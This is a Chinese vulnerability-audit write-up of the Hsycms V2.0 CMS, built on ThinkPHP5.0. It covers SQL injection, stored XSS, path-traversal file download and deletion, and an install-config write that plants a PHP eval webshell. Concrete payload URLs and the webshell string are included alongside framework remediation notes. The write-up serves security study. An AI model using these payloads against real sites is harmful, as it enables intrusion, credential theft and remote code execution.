代码审计之某cms V2.0
前言 最近几天在入门ThinkPHP5.1,然后随缘找了一个CMS 来练练手。于是找到了Hsycms,发现是基于ThinkPHP5.0开发的,问题不大,说不定有其他收获。但说起HSY,就不得不说到CTF男子天团K&K…… SQL注入 审计过程 首先看index模块里面的公共函数,发现prevNext函数里面where方法查询的条件是字符串,并且里面有变量。 全局搜一下发现app\inde
前言
最近几天在入门ThinkPHP5.1,然后随缘找了一个CMS 来练练手。于是找到了Hsycms,发现是基于ThinkPHP5.0开发的,问题不大,说不定有其他收获。但说起HSY,就不得不说到CTF男子天团K&K……
SQL注入
审计过程
首先看index模块里面的公共函数,发现prevNext函数里面where方法查询的条件是字符串,并且里面有变量。

全局搜一下发现app\index\controller\Show.php里面的index方法调用了这个函数。

反向跟一下发现变量id是可控的,于是可以造成了SQL注入。
漏洞利用
首先看一下路由

查进数据库查一下entitle

构造payload:
/news/151) and if(#inject#,sleep(1),1) and ( 1=1


小结
在where方法使用字符串条件时,若条件里面有可控变量应该配合预处理机制确保更加安全。
字符串条件
使用字符串条件直接查询和操作,例如:
Db::table('think_user')->where('type=1 AND status=1')->select();
最后生成的SQL语句是
SELECT * FROM think_user WHERE type=1 AND status=1
使用字符串条件的时候,建议配合预处理机制,确保更加安全,例如:
Db::table('think_user')->where("id=:id and username=:name")->bind(['id'=>[1,\PDO::PARAM_INT],'name'=>'thinkphp'])->select();
via:ThinkPHP5.0完全开发手册
XSS
审计过程
在app/index/controller/Show.php中的sendemail方法。

这里接收POST的数据就直接添加进数据库。

在后台app/hsycms/controller/Site.php这个控制器中,是直接取出然后模板赋值。
模板:app/hsycms/view/site/book.html

可以无论是控制器或是模板文件都没有对的数据进行过滤,这里就可以造成XSS。
漏洞利用
提交留言

后台触发

小结
模板的变量输出中,ThinkPHP5.0与5.1处理的方法不一样。
- 在ThinkPHP5.0,对模板变量是直接输出。
- 在ThinkPHP5.1,使用htmlentities函数对模板变量处理后输出。
变量输出
在模板中使用:
Hello,{$name}!
模板编译后的结果就是:
Hello,<?php echo($name);?>!变量输出
在模板中使用:
Hello,{$name}!
模板编译后的结果就是:
Hello,<?php echo htmlentities($name);?>!
via:ThinkPHP5.1完全开发手册
任意文件下载(后台)
审计过程
在app/hsycms/controller/Database.php中downloadsql方法。

这里没有对传递过去的name参数的数据进行过滤,可以造成任意文件下载。
漏洞利用
构造payload:
/index.php/hsycms/database/downloadsql/?name=/../../app/config.php

任意文件删除(后台)+ 写配置文件Getshell
任意文件删除(后台)
审计过程
在app/hsycms/controller/Database.php中delsql方法。

这里没有对传递过去的name参数的数据进行过滤,可以造成任意文件删除。
漏洞利用
构造payload:
/index.php/hsycms/database/delsql/?name=../../app/install/data/install.lock

写配置文件Getshell
审计过程

app/install/controller/Index.php中,首先是config方法,对传进去的db数组写进了session。之后是进入了sql方法。
在sql方法中,session中的'db_config赋值dbconfig变量,然后传进了write_config函数,跟进app/install/common.php,可以看到只是对配置模板做简单的替换,于是造成写配置文件Getshell

漏洞利用
顺利Getshell
在数据库名称这里构造一句话进行写shell。


道路通常是曲折的
在最初审计时,不由自主地在数据表前缀这里构造一句话写shell,于是就差点写shel失败。
仔细看了看发现如果要写入配置成功,那在write_config()之前是不能报错的。

而如果想在数据表前缀这里构造一句话写shell,经过测试发现,在执行到register_administrator(),如果不结合这里的SQL语句进构造,在执行时会报错。
update `[PREFIX]user` set password='[PASS]' where username='admin';


进库的时候是这样的
update `sy_',@eval($_POST['p']),#user` set password='21232f297a57a5a743894a0e4a801fc3' where username='admin'
奈何技术尚浅,尝试一段时间后发现可以构造以下payload。
sy_user` set password=1 or '.@eval($_POST["q"]).'#

进库的时候是这样的
update `sy_user` set password=1 or '.@eval($_POST["q"]).'#user` set password='21232f297a57a5a743894a0e4a801fc3' where username='admin'
成功Getshell

总结
由于是第一次审计MVC框架开发的CMS就写得有点详细(luosuo),若有错误之处,还请各位师傅斧正。
经过这次审计练习后,收获还是挺多的。
- 在使用where方法对数据库查询是,使用字符串条件是直接拼接SQL语句的。
- ThinkPHP5.0在模板的变量输出中是直接输出,而在ThinkPHP5.1中是会经过htmlentities函数对模板变量处理后输出。

师傅我想问一下为啥我装cms的时候到第三步就卡在呢里了